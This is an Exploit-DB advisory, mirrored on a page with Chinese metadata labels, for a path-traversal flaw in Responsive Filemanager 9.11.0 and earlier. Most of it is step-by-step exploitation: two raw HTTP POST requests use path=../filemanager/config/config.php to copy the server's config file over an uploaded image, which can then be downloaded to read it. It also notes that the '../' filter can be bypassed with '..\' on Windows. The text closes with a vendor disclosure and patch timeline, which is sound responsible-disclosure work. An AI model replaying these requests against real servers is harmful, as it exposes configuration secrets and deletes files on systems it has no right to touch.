Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure

  • 作者: Wiswat Aswamenakul
    日期: 2017-02-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41272/
  • [+] Exploit Title: Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure/Deletion
    [+] Date: 7 Feb 2017
    [+] Vulnerability and Exploit Author: Wiswat Aswamenakul
    [+] Vendor Homepage: http://www.responsivefilemanager.com/
    [+] Affected version: only tested on 9.11.0 and 9.7.3 (other versions might be affected)
    [+] Tested on: Ubuntu 14.04, PHP 5.5.9
    [+] Category: webapps
    
    [+] Description
    Responsive filemanger is a PHP based file manager that make use of AJAX
    technology. It has various useful features. One of them is copy/cut and
    paste files. However, the copy/cut feature does not santize file name
    that will be copied/cut. Therefore, it is possible for attackers to
    copied/cut any files including PHP files and paste them to overwrite
    existing image files. Then, the attackers could download the overwritten
    image files to read the content of the copied/cut files. Moreover, for
    the cut feature, it can cause the original files to be deleted as well.
    
    [+] Exploit
    1. Upload a normal image file (jpg, png, gif) to a server
    2. Right click at any files, select copy and capture the request with Burp Suite (or any local proxy)
    3. Change parameter "path" to any file name that we would like to download, for example, path=../filemanager/config/config.php
    
    ###
    POST /fm/filemanager/ajax_calls.php?action=copy_cut HTTP/1.1
    Host: 192.168.1.128
    Content-Length: 53
    Accept: */*
    Origin: http://192.168.1.128
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer:
    http://192.168.1.128/fm/filemanager/dialog.php?editor=0&type=0&lang=en_EN&popup=0&crossdomain=0&field_id=&relative_url=0&akey=key&fldr=%2F&5869110e2a073
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: last_position=%2F; PHPSESSID=lenmc074o86fe2sq7i1dtnh8j0
    Connection: close
    
    path=../filemanager/config/config.php&sub_action=copy
    ###
    
    4. Go to any sub directory, right click at any files, intercept the request with burp, select "Paste to this directory"
    5. Change parameter "path" to the image file uploaded in step 1, for example, path=subdir/size.png
    
    ###
    POST /fm/filemanager/execute.php?action=paste_clipboard HTTP/1.1
    Host: 192.168.1.128
    Content-Length: 20
    Accept: */*
    Origin: http://192.168.1.128
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer:
    http://192.168.1.128/fm/filemanager/dialog.php?editor=0&type=0&lang=en_EN&popup=0&crossdomain=0&field_id=&relative_url=0&akey=key&fldr=subdir%2F&5869110f9a268
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: last_position=subdir%2F; PHPSESSID=lenmc074o86fe2sq7i1dtnh8j0
    Connection: close
    
    path=subdir/size.png
    ###
    
    6. Download the image file uploaded in step 1, it will contain content of the file specified in step 3
    
    [+] Note (about another issue I found)
    During this report, I found another separated issue with the attack filtering that only check for "../" but not "..\" which can be used to bypass all filters if the application runs on Windows server and reported the issue to the owner as well. However, I found out that this issue was found by a guy from hacktizen and detailed in following blog post
    http://hacktizen.blogspot.com/2016/06/responsive-filemanager-9102-directory.html
    So, the credit goes for the guy who firstly reported. Perhaps, the guy from hackitizen did not contact the owner of responsive filemanger or there are any problems with communication. Therefore, the issue remains unresolved.
    
    [+] Timeline
    - 02/01/2017: Contact Owner
    - 05/02/2017: Patched version is available
    - 07/02/2017: Public Advisory